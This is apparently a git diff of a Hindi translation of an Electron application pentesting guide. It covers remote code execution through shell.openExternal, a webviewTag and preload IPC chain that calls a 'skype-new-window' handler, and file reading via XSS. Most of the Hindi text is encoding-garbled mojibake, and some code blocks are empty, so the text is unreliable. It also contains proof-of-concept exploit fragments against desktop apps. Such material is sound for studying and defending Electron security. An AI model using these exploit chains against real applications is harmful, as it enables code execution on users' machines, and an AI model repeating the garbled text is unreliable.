рд╣реИрдВ: +рдЬрдм рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд▓рд┐рдВрдХ рдХреЗ рд╕рд╛рде рдЗрдВрдЯрд░реИрдХреНрдЯ рдХрд░рддрд╛ рд╣реИ рдпрд╛ рдирдИ рд╡рд┐рдВрдбреЛ рдЦреЛрд▓рддрд╛ рд╣реИ, рддреЛ рд╡рд┐рд╢реЗрд╖ event listeners рдЯреНрд░рд┐рдЧрд░ рд╣реЛрддреЗ рд╣реИрдВ, рдЬреЛ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреА рд╕реБрд░рдХреНрд╖рд╛ рдФрд░ рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛ рдХреЗ рд▓рд┐рдП рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реЛрддреЗ рд╣реИрдВ: ```javascript webContents.on("new-window", function (event, url, disposition, options) {} webContents.on("will-navigate", function (event, url) {} ``` -рдпреЗ listeners рдбреЗрд╕реНрдХрдЯреЙрдк рдПрдкреНрд▓рд┐рдХреЗрд╢рди рджреНрд╡рд╛рд░рд╛ рдЕрдкрдиреЗ рд╕реНрд╡рдпрдВ рдХреЗ **business logic** рдХреЛ рд▓рд╛рдЧреВ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП **рдУрд╡рд░рд░рд╛рдЗрдб** рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВред рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдпрд╣ рдореВрд▓реНрдпрд╛рдВрдХрди рдХрд░рддрд╛ рд╣реИ рдХрд┐ рдиреЗрд╡рд┐рдЧреЗрдЯ рдХреА рдЧрдИ рд▓рд┐рдВрдХ рдХреЛ рдЖрдВрддрд░рд┐рдХ рд░реВрдк рд╕реЗ рдЦреЛрд▓рд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдП рдпрд╛ рдХрд┐рд╕реА рдмрд╛рд╣рд░реА рд╡реЗрдм рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдореЗрдВред рдпрд╣ рдирд┐рд░реНрдгрдп рдЖрдорддреМрд░ рдкрд░ рдПрдХ рдлрд╝рдВрдХреНрд╢рди, `openInternally`, рдХреЗ рдЬрд░рд┐рдП рд▓рд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдпрджрд┐ рдпрд╣ рдлрд╝рдВрдХреНрд╢рди `false` рд▓реМрдЯрд╛рддрд╛ рд╣реИ, рддреЛ рдЗрд╕рдХрд╛ рдЕрд░реНрде рд╣реИ рдХрд┐ рд▓рд┐рдВрдХ рдХреЛ рдмрд╛рд╣рд░реА рд░реВрдк рд╕реЗ рдЦреЛрд▓рдирд╛ рдЪрд╛рд╣рд┐рдП, рдФрд░ рдЗрд╕рдХреЗ рд▓рд┐рдП `shell.openExternal` рдлрд╝рдВрдХреНрд╢рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред +These listeners are **рдбреЗрд╕реНрдХрдЯреЙрдк рдПрдкреНрд▓рд┐рдХреЗрд╢рди рджреНрд╡рд╛рд░рд╛ рдУрд╡рд░рд░рд╛рдЗрдб рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВ** рддрд╛рдХрд┐ рд╡рд╣ рдЕрдкрдирд╛ **business logic** рд▓рд╛рдЧреВ рдХрд░ рд╕рдХреЗред рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдпрд╣ рдореВрд▓реНрдпрд╛рдВрдХрди рдХрд░рддрд╛ рд╣реИ рдХрд┐ рдиреЗрд╡рд┐рдЧреЗрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд▓рд┐рдВрдХ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЗ рдЕрдВрджрд░ рдЦреЛрд▓рдирд╛ рдЪрд╛рд╣рд┐рдП рдпрд╛ рдХрд┐рд╕реА рдмрд╛рд╣рд░реА рд╡реЗрдм рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдореЗрдВред рдпрд╣ рдирд┐рд░реНрдгрдп рдЖрдорддреМрд░ рдкрд░ рдПрдХ рдлрд╝рдВрдХреНрд╢рди, `openInternally`, рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд▓рд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдпрджрд┐ рдпрд╣ рдлрд╝рдВрдХреНрд╢рди `false` рд▓реМрдЯрд╛рддрд╛ рд╣реИ, рддреЛ рдЗрд╕рдХрд╛ рдЕрд░реНрде рд╣реИ рдХрд┐ рд▓рд┐рдВрдХ рдХреЛ рдмрд╛рд╣рд░реА рд░реВрдк рд╕реЗ рдЦреЛрд▓рдирд╛ рдЪрд╛рд╣рд┐рдП, рдФрд░ рдЗрд╕рдХреЗ рд▓рд┐рдП `shell.openExternal` рдлрд╝рдВрдХреНрд╢рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред **Here is a simplified pseudocode:** @@ -203,11 +203,11 @@ webContents.on("will-navigate", function (event, url) {} ![https://miro.medium.com/max/1400/1*ZfgVwT3X1V_UfjcKaAccag.png](<../../../images/image (963).png>) -Electron JS security best practices рдЕрдирдЯреНрд░рд╕реНрдЯреЗрдб рдХрдВрдЯреЗрдВрдЯ рдХреЛ `openExternal` рдлрд╝рдВрдХреНрд╢рди рдХреЗ рд╕рд╛рде рд╕реНрд╡реАрдХрд╛рд░ рдХрд░рдиреЗ рдХреЗ рдЦрд┐рд▓рд╛рдл рд╕рд▓рд╛рд╣ рджреЗрддреА рд╣реИрдВ, рдХреНрдпреЛрдВрдХрд┐ рдпрд╣ рд╡рд┐рднрд┐рдиреНрди рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ RCE рдХрд╛ рдХрд╛рд░рдг рдмрди рд╕рдХрддрд╛ рд╣реИред рдСрдкрд░реЗрдЯрд┐рдВрдЧ рд╕рд┐рд╕реНрдЯрдо рд╡рд┐рднрд┐рдиреНрди рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рд╕рдкреЛрд░реНрдЯ рдХрд░рддреЗ рд╣реИрдВ рдЬреЛ RCE рдЯреНрд░рд┐рдЧрд░ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдЗрд╕ рд╡рд┐рд╖рдп рдкрд░ рд╡рд┐рд╕реНрддреГрдд рдЙрджрд╛рд╣рд░рдгреЛрдВ рдФрд░ рдЖрдЧреЗ рдХреА рд╡реНрдпрд╛рдЦреНрдпрд╛ рдХреЗ рд▓рд┐рдП, рдЖрдк [рдпрд╣ рд╕реНрд░реЛрдд](https://positive.security/blog/url-open-rce#windows-10-19042) рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ, рдЬрд┐рд╕рдореЗрдВ Windows рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдХреЗ рдЙрджрд╛рд╣рд░рдг рд╢рд╛рдорд┐рд▓ рд╣реИрдВ рдЬреЛ рдЗрд╕ vulnerability рдХрд╛ рд╢реЛрд╖рдг рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред +Electron JS security best practices рд╕рд▓рд╛рд╣ рджреЗрддреА рд╣реИрдВ рдХрд┐ `openExternal` рдлрд╝рдВрдХреНрд╢рди рдХреЗ рд╕рд╛рде рдЕрдирд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рдХрдВрдЯреЗрдВрдЯ рд╕реНрд╡реАрдХрд╛рд░ рди рдХрд░реЗрдВ, рдХреНрдпреЛрдВрдХрд┐ рдпрд╣ рд╡рд┐рднрд┐рдиреНрди рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ RCE рдХрд╛ рдХрд╛рд░рдг рдмрди рд╕рдХрддрд╛ рд╣реИред Operating systems рдЕрд▓рдЧ-рдЕрд▓рдЧ рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рд╕рдкреЛрд░реНрдЯ рдХрд░рддреЗ рд╣реИрдВ рдЬреЛ RCE рдЯреНрд░рд┐рдЧрд░ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдЗрд╕ рд╡рд┐рд╖рдп рдкрд░ рд╡рд┐рд╕реНрддреГрдд рдЙрджрд╛рд╣рд░рдгреЛрдВ рдФрд░ рдФрд░ рдЕрдзрд┐рдХ рд╡реНрдпрд╛рдЦреНрдпрд╛ рдХреЗ рд▓рд┐рдП рдЖрдк [this resource](https://positive.security/blog/url-open-rce#windows-10-19042) рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ, рдЬрд┐рд╕рдореЗрдВ Windows рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдХреЗ рдЙрджрд╛рд╣рд░рдг рд╢рд╛рдорд┐рд▓ рд╣реИрдВ рдЬреЛ рдЗрд╕ vulnerability рдХрд╛ рдлрд╛рдпрджрд╛ рдЙрдард╛ рд╕рдХрддреЗ рд╣реИрдВред -macos рдореЗрдВ, `openExternal` рдлрд╝рдВрдХреНрд╢рди рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд┐рд╕реА рднреА рдордирдорд╛рдиреЗ рдХрдорд╛рдВрдб рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП `shell.openExternal('file:///System/Applications/Calculator.app')`ред +macos рдореЗрдВ, `openExternal` рдлрд╝рдВрдХреНрд╢рди рдХрд╛ рдкреНрд░рдпреЛрдЧ рдХрд┐рд╕реА рднреА рдХрдорд╛рдВрдб рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЬреИрд╕реЗ `shell.openExternal('file:///System/Applications/Calculator.app')`ред -**Examples of Windows protocol exploits include:** +**Windows рдкреНрд░реЛрдЯреЛрдХреЙрд▓ exploit рдХреЗ рдЙрджрд╛рд╣рд░рдг рд╢рд╛рдорд┐рд▓ рд╣реИрдВ:** ```html ``` -## RCE: webviewTag + рдХрдордЬреЛрд░ preload IPC + shell.openExternal +## RCE: webviewTag + vulnerable preload IPC + shell.openExternal рдпрд╣ vuln **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)** рдореЗрдВ рдкрд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред -**webviewTag** рдПрдХ **deprecated feature** рд╣реИ рдЬреЛ **renderer process** рдореЗрдВ **NodeJS** рдХреЗ рдЙрдкрдпреЛрдЧ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ, рдЗрд╕рд▓рд┐рдП рдЗрд╕реЗ рдирд┐рд╖реНрдХреНрд░рд┐рдп рдХрд░ рджреЗрдирд╛ рдЪрд╛рд╣рд┐рдП рдХреНрдпреЛрдВрдХрд┐ рдпрд╣ preload context рдХреЗ рдЕрдВрджрд░ script рд▓реЛрдб рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ, рдЬреИрд╕реЗ: +The **webviewTag** рдПрдХ **рдЕрдкреНрд░рдЪрд▓рд┐рдд рдлреАрдЪрд░** рд╣реИ рдЬреЛ **renderer process** рдореЗрдВ **NodeJS** рдХреЗ рдЙрдкрдпреЛрдЧ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ, рдФрд░ рдЗрд╕реЗ рдЕрдХреНрд╖рдо рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдП рдХреНрдпреЛрдВрдХрд┐ рдпрд╣ preload context рдХреЗ рдЕрдВрджрд░ script рд▓реЛрдб рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ, рдЬреИрд╕реЗ: ```xml ``` -рдЗрд╕рд▓рд┐рдП, рдПрдХ attacker рдЬреЛ рдХрд┐рд╕реА arbitrary рдкреЗрдЬ рдХреЛ рд▓реЛрдб рдХрд░рдиреЗ рдореЗрдВ рд╕рдлрд▓ рд╣реЛрддрд╛ рд╣реИ, рд╡рд╣ рдЙрд╕ tag рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ **load an arbitrary preload script** рдХрд░ рд╕рдХрддрд╛ рд╣реИред +рдЗрд╕рд▓рд┐рдП, рдПрдХ attacker рдЬреЛ рдХрд┐рд╕реА arbitrary page рдХреЛ рд▓реЛрдб рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛ, рд╡рд╣ рдЙрд╕ tag рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ **arbitrary preload script рд▓реЛрдб** рдХрд░ рд╕рдХрддрд╛ рд╣реИред -рдпрд╣ preload script рджреБрд░реБрдкрдпреЛрдЧ рдХрд░ рдХреЗ рдПрдХ **vulnerable IPC service (`skype-new-window`)** рдХреЛ рдХреЙрд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЗрд╕реНрддреЗрдорд╛рд▓ рдХрд┐рдпрд╛ рдЧрдпрд╛, рдЬреЛ RCE рдкрд╛рдиреЗ рдХреЗ рд▓рд┐рдП **`shell.openExternal`** рдХреЛ рдХреЙрд▓ рдХрд░ рд░рд╣рд╛ рдерд╛: +рдЙрд╕ preload script рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдХреЗ рдлрд┐рд░ рдПрдХ **vulnerable IPC service (`skype-new-window`)** рдХреЛ рдХреЙрд▓ рдХрд┐рдпрд╛ рдЧрдпрд╛, рдЬреЛ RCE рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП **`shell.openExternal`** рдХреЛ рдХреЙрд▓ рдХрд░ рд░рд╣рд╛ рдерд╛: ```javascript (async() => { const { ipcRenderer } = require("electron"); @@ -250,11 +250,11 @@ await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Do ``` ## рдЖрдВрддрд░рд┐рдХ рдлрд╝рд╛рдЗрд▓реЗрдВ рдкрдврд╝рдирд╛: XSS + contextIsolation -**`contextIsolation` рдХреЛ рдЕрдХреНрд╖рдо рдХрд░рдиреЗ рд╕реЗ `` рдЯреИрдЧреНрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рд╕рдВрднрд╡ рд╣реЛ рдЬрд╛рддрд╛ рд╣реИ**, `